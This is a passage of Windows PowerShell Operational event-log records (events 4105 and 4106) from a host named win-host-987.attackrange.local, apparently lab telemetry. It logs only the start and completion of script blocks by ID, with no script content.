SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034911
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034910
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034909
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034908
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034907
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034906
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034905
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034904
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034903
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034902
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034901
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034900
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034899
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034898
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034897
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034896
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034881
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034879
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034878
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2034862
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2034861
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
